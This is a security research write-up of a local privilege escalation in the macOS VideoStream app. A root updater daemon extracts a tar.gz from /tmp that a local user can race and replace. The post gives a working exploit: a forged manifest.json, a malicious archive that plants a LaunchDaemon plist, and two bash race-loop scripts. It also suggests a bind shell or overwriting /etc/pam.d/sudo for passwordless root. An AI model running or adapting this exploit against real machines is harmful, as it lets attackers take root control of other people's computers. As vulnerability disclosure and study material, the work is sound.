Overview

VideoStream is a popular application that allows users to stream videos, music, and images to Google Chromecast devices effortlessly. Known for its user-friendly interface, it enables seamless playback of local video files and automatically transcodes them into Chromecast-compatible formats. With over 5 million installations, VideoStream is a significant player in the streaming industry, as indicated by their official website (https://getvideostream.com) and the Chrome app store, which lists over 900,000 users.

Introduction

This post delves into a local privilege escalation vulnerability discovered in the macOS version of VideoStream. We will guide you through identifying this vulnerability and demonstrate how we developed an exploit to gain elevated local privileges. The vulnerability exploits VideoStream’s update mechanism, allowing an attacker to trick the installer into extracting a malicious tar.gz file instead of the intended download.

Moreover, we explored a method to trigger the download process and activate the update flow since the script installs a package only when the VideoStream website has a newer version than the one currently installed. In the following sections, we’ll delve into the analysis phase and subsequently focus on developing an exploit to achieve local privilege escalation.

Initial Research

In the initial phase of our research, we utilized Suspicious Package to scrutinize the installer’s actions. We began by downloading the macOS installation file (.pkg) from the VideoStream website (https://getvideostream.com). We used the “Suspicious Package” app (https://mothersruin.com/software/SuspiciousPackage/) to examine the package’s contents and scripts before installation. This tool provides insights into the expected events during the installation process.

Suspicious Package Screenshot

Upon opening the installer in “Suspicious Package,” we observed that 6,435 items were slated for installation, occupying 183.9 MB on the disk. Two installation scripts were present, which we would examine next. The “All Scripts” tab revealed the following:

Pre-install Script Screenshot

The screenshot shows two installation scripts visible on the initial screen, which we will further examine. But first, let’s understand some macOS basics and get familiar with LaunchAgents and LaunchDaemons.

LaunchDaemons and LaunchAgents

LaunchDaemons and LaunchAgents are processes in macOS used to automatically run scripts and programs in the background. They differ in their level of access to the system and the user’s environment.

  • LaunchDaemons: Run as the root user and have full system access, making them ideal for system-wide tasks like network configurations, software updates, and maintenance. They are stored in the /Library/LaunchDaemons directory.

  • LaunchAgents: Run as the current user with access only to the user’s environment, suitable for user-specific tasks like personal backups or contact synchronization. They are stored in the ~/Library/LaunchAgents or /Library/LaunchAgents directory.

Both LaunchDaemons and LaunchAgents can run processes at startup, during login, or at specified times using a property list file (plist) that defines the process parameters, including the executable, arguments, and schedule.

Let’s now examine the VideoStream package installer scripts we saw earlier.

Post-Installation Script

The post-installation script runs after the files are copied to the disk. It clears VideoStream’s local cache and config files and launches VideoStream.

#!/bin/bash
#set -e
pushd /Applications/Videostream.app/Contents/Resources/videostream-native
sudo -u $USER rm -rf ~/.videostream
sudo -u $USER /bin/launchctl load /Library/LaunchAgents/com.videostream.launcher.plist
# Give a 25-second grace period for launchd to set up the server
# before trying to bring up the client
cnt=0
while ! netstat -anp tcp | grep -q \*\.5557; do
[ $cnt -eq 50 ] && break
cnt=$(expr $cnt + 1)
sleep 0.5
done
if [ $cnt -lt 50 ]; then
if [ -x "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" ]; then
sudo -u $USER "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" http://localhost:5557 &
sleep 2
sudo -u $USER "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" http://localhost:5557/google-oauth-start?welcome=true &
else
open http://localhost:5557/ui/no-chrome.html &
fi
fi
/bin/launchctl load /Library/LaunchDaemons/com.videostream.updater.0.4.3.plist

It’s crucial to note that the installer copies the file com.videostream.updater.0.4.3.plist to /Library/LaunchDaemons, and the post-install script loads it. This means it will run with root privileges, making it a potential target for privilege escalation.

VideoStream Updater

The name of the .plist file suggests it is associated with the VideoStream update process. Let’s examine the file contents to understand its purpose.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
  <key>Label</key>
  <string>com.videostream.updater.0.4.3</string>
  <key>Program</key>
  <string>/Library/Scripts/Videostream/Videostream.update</string>
  <key>StandardOutPath</key>
  <string>/tmp/Videostream.service.log</string>
  <key>StartInterval</key>
  <integer>18000</integer>
  <key>RunAtLoad</key><true/>
</dict>
</plist>

The parameters indicate that /Library/Scripts/Videostream/Videostream.update will run every 5 hours or upon boot, with its standard output directed to /tmp/Videostream.service.log.

Analysis of Videostream.update

The /Library/Scripts/Videostream/Videostream.update script performs several tasks:

#!/bin/bash

# ...

for PLIST in /Library/LaunchDaemons/com.videostream.updater.*.plist; do
[ $PLIST == /Library/LaunchDaemons/com.videostream.updater.0.5.0.plist ] || {
echo $(date | tr -d '\n') Removing old property list $PLIST
rm $PLIST
}
done

# Check whether the user has upgraded from a cat OS X to Mavericks or later
NEW_FLAVOR=macOS

# ...

MANIFEST=/tmp/$$

echo $(date | tr -d '\n') Downloading latest manifest >> /tmp/Videostream.service.log
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/manifest.json -o $MANIFEST

NEW_VERSION=$(grep CurrentVersion $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
echo $(date | tr -d '\n') Installed: 0.5.0\; Latest: $NEW_VERSION

NEWEST_VERSION="0.5.0"

if [ -n "$NEW_VERSION" ]; then
NEWEST_VERSION=$(printf "0.5.0\n$NEW_VERSION" | sort -r | head -n 1)
fi

echo "NEWEST_VERSION: $NEWEST_VERSION"

if [ -n "$NEW_VERSION" -a "$NEW_VERSION" = "$NEWEST_VERSION" -a "0.5.0" != "$NEW_VERSION" ]; then
cd /tmp
PACKAGE=$(grep url $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")

    echo $(date | tr -d '\n') Downloading $PACKAGE
    curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/$PACKAGE -O
    echo $(date | tr -d '\n') Downloaded $(ls -l $PACKAGE | tr -s ' ' | cut -f 5 -d ' ') bytes

    cd /
    echo $(date | tr -d '\n') Installing version $NEW_VERSION
    tar -xzopf /tmp/$PACKAGE

    # ...

    # Restarting new updater service
    NEW_UPDATER_PLIST=/Library/LaunchDaemons/com.videostream.updater.$NEW_VERSION.plist
    echo $(date | tr -d '\n') Restarting new updater service $NEW_UPDATER_PLIST
    /bin/launchctl load $NEW_UPDATER_PLIST

    echo $(date | tr -d '\n') Removing old updater service
    # This kills the current script, so it must be the last line
    /bin/launchctl unload /Library/LaunchDaemons/com.videostream.updater.0.5.0.plist
fi

rm $MANIFEST

The script performs cleaning and unloads any pre-installed launch daemons during its initial phase:

for PLIST in /Library/LaunchDaemons/com.videostream.updater.*.plist; do
[ $PLIST == /Library/LaunchDaemons/com.videostream.updater.0.5.0.plist ] || {
echo $(date | tr -d '\n') Removing old property list $PLIST
rm $PLIST
}
done

It then downloads the manifest.json file from the server:

MANIFEST=/tmp/$$

echo $(date | tr -d '\n') Downloading latest manifest >> /tmp/Videostream.service.log
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/manifest.json -o $MANIFEST

The manifest file name is saved locally under the /tmp directory, with the process PID as its name, resulting in a unique identifier for each script run. The maximum PID number, as defined by Apple, is 99,999 and can be found in the XNU kernel code (open-source).

Next, the updater script extracts the version from the manifest.json file and checks for newer versions. If a new version exists, it downloads the updated VideoStream app and installs it; otherwise, the script terminates.

NEW_VERSION=$(grep CurrentVersion $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")
echo $(date | tr -d '\n') Installed: 0.5.0\; Latest: $NEW_VERSION

NEWEST_VERSION="0.5.0"

if [ -n "$NEW_VERSION" ]; then
NEWEST_VERSION=$(printf "0.5.0\n$NEW_VERSION" | sort -r | head -n 1)
fi


if [ -n "$NEW_VERSION" -a "$NEW_VERSION" = "$NEWEST_VERSION" -a "0.5.0" != "$NEW_VERSION" ]; then

# ...

done

During installation, the script downloads the updated version specified in the manifest.json file and extracts it to the root directory /.

cd /tmp
PACKAGE=$(grep url $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")

echo $(date | tr -d '\n') Downloading $PACKAGE
curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/$PACKAGE -O
echo $(date | tr -d '\n') Downloaded $(ls -l $PACKAGE | tr -s ' ' | cut -f 5 -d ' ') bytes

cd /
echo $(date | tr -d '\n') Installing version $NEW_VERSION
tar -xzopf /tmp/$PACKAGE

To summarize, the update script performs the following tasks:

  1. Cleans up outdated configuration files.
  2. Downloads the manifest.json to /tmp/[PID], where PID is the updater process ID.
  3. Checks if the version in manifest.json is newer than the local version.
    • If it is not, the script ends.
    • If a newer version is available on the server, it downloads a tar.gz file to /tmp/videostream_[VERSION].tar.gz and extracts it to the / root directory.

Vulnerable Areas

Understanding the updater script’s workings reveals that injecting a compressed .tar.gz file into the updater process (under the /tmp directory) would cause the update to extract the file into the root directory. This grants the ability to overwrite almost any file (not protected by SIP), including /Library/LaunchDaemons, allowing us to execute scripts as root and escalate privileges.

File Permissions

We previously identified that the update process writes the updated manifest.json file to /tmp/[PID], and if a newer version is needed, it will be placed in /tmp/videostream_0.5.0.tar.gz. The installer creates a file with root privileges in the /tmp directory.

-rw-r--r--   1 root      wheel  66792963 Feb  2 21:25 videostream_0.5.0.tar.gz

The first problem is that we can’t override this file due to a lack of permissions. To circumvent this restriction, we could create an empty file before the installer runs.

-rw-r--r--   1 danrevah  wheel     0 Feb  3 21:33 videostream_0.5.0.tar.gz

Next, when the installer runs the update script, it will be written into the previously created file while retaining the same permissions.

-rw-r--r--   1 danrevah  wheel  66792963 Feb  2 21:37 videostream_0.5.0.tar.gz

Good news! This means we can control this file and replace it with our tar.gz file. Our malicious tar.gz file will contain the following structure:

  • Library
    • LaunchDaemons
      • com.example.proof.plist

Let’s create a LaunchDaemon POC that creates a file named /tmp/proof. We’ll do that by adding the following content to com.example.proof.plist:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.example.proof</string>
    <key>ProgramArguments</key>
    <array>
      <string>touch</string>
      <string>/tmp/proof</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>

As the tar.gz file will be extracted by the update script under the root path /, we will write directly to /Library/LaunchDaemons/com.example.proof.plist. As we learned earlier, this script would run with root privileges, meaning we can run any command as root!

This daemon would run during boot and create a /tmp/proof file written as root. If we want to gain privilege escalation to root, we could replace the touch command and serve a bind shell.

This is a significant step. However, we still can’t easily achieve this.

Although we could gain root privileges by crafting an exploit that would create a race to overwrite that file, we would have to wait for a new version to be released by VideoStream to run our exploit, making that whole effort meaningless.

We need to find a way to trigger the download faster, as we don’t want to wait for a new version months or even years to gain LPE (or never?).

Analysis of Version Detection

We previously observed that the updater script downloads a manifest.json file and stores it in /tmp/[PID] with the current process ID number. The script uses the manifest to determine if a new version should be installed.

As done previously, we can write a file to the /tmp directory and maintain permissions (like we did with the tar.gz file earlier). However, in this case, we need to also figure out:

  1. How to force the updater to download a valid version without failing the script by causing it to attempt to download from an invalid URL.
  2. How to detect the PID of the process, as it’s used as the manifest.json downloaded file name.

To address the first problem, we will examine the manifest.json file that the updater will download.

{
"CurrentVersion": "0.5.0",
"url": "videostream_0.5.0.tar.gz"
}

By looking at the installer code, we see that it extracts the version from the value of the CurrentVersion key:

NEW_VERSION=$(grep CurrentVersion $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")

while the download command is using the url key:

PACKAGE=$(grep url $MANIFEST | tail -1 | sed "s/[^:]*: *'\(.*\)'.*/\1/")

# ...

curl https://cdn.getvideostream.com/videostream-native-updates/$NEW_FLAVOR/$PACKAGE -O
echo $(date | tr -d '\n') Downloaded $(ls -l $PACKAGE | tr -s ' ' | cut -f 5 -d ' ') bytes

This means that if we can race with a fake manifest.json file that contains a greater version number, for example, 0.5.3, and keep the same URL, we should be good to go:

{
"CurrentVersion": "0.5.3",
"url": "videostream_0.5.0.tar.gz"
}

But we still haven’t solved the second problem. How do we figure out which file to create if it stores it with a different name (based on the updater PID) on each run?

To do that, we could use pgrep to extract the updater PID:

pgrep -f Videostream.update

And use the same technique as previously with an exploit race to override that file.

Writing the Exploit

With an understanding of how to exploit the vulnerabilities, we can proceed to write the exploit. The exploit will be split into two scripts:

  1. Override the manifest.json with the updater process ID.
  2. Override the /tmp/videostream_0.5.0.tar.gz file.

First, we’ll create the escalate.tar.gz file with the following contents:

  • Library
    • LaunchDaemons
      • com.example.proof.plist

com.example.proof.plist contains:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.example.proof</string>
    <key>ProgramArguments</key>
    <array>
      <string>touch</string>
      <string>/tmp/proof</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>

Next, we’ll create a fake manifest.json that will represent a version upgrade:

{
"CurrentVersion": "0.5.3",
"url": "videostream_0.5.0.tar.gz"
}

Then we’ll create the first script that overrides the manifest.json with the current PID as its name:

#!/bin/bash

echo '[+] Overriding manifest.json'

while [ ! -f /Library/LaunchDaemons/com.example.proof.plist ]
do
pgrep -f Videostream.update | xargs -I {} cp manifest.json /tmp/{}
done

This script will continuously attempt to extract the PID from the Videostream.update script and use the process ID as the name for the manifest.json. It will wait until the Videostream updater script runs and continuously try to use a race condition to override the downloaded file with our malicious manifest.json. Once it detects that our malicious LaunchDaemon was created, it stops.

Next, we’ll create the script that overrides the videostream_0.5.0.tar.gz with our malicious compressed file:

#!/bin/bash

echo '[+] Overriding the downloaded files...'

while [ ! -f /Library/LaunchDaemons/com.example.proof.plist ]
do
cp escalate.tar.gz /tmp/videostream_0.5.0.tar.gz
sleep 0.01
done

echo '[+] Done.'

Notice that both scripts will continuously copy the files into the new location, writing the file for the first time. The updater script will write into those files, maintaining the same permissions and allowing us to continue writing into those files, causing a race between us and the updater script.

We could either leave the scripts running and wait for the next update window, which will take less than 5 hours (remember that it runs the updater script every 5 hours or during boot), or extract the last time the script ran from the Videostream log (LaunchDaemon output file) and automatically trigger the script a minute before it launches (LaunchAgent, for example).

Once we let our scripts run and finish anticipating the fake update, we can see that our hard work paid off and our malicious LaunchDaemon was added:

Proof of Exploit

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
  <dict>
    <key>Label</key>
    <string>com.example.proof</string>
    <key>ProgramArguments</key>
    <array>
      <string>touch</string>
      <string>/tmp/proof</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
  </dict>
</plist>

After a reboot, we obtain:

Proof File Created

To gain root access without a reboot, instead of adding a new LaunchDaemon plist file, we could override /etc/pam.d/sudo and allow ourselves to use the sudo command without prompting for a password.

Conclusion

  • We used Suspicious Package to investigate the installation package of VideoStream and learned about LaunchAgents and LaunchDaemons processes.
  • We identified that VideoStream registers a LaunchDaemon that serves the update process, checking for a new version every 5 hours.
  • We detected a TOCTOU vulnerability in the process that allowed us to cause the process to install our malicious file. This enabled us to write to system files as root, and we successfully executed code as root and generated a file using touch /tmp/proof.
  • A small change in the escalate.tar.gz file, so that it overwrites the /etc/pam.d/sudo file, could grant us root permissions on the system without the need for a restart.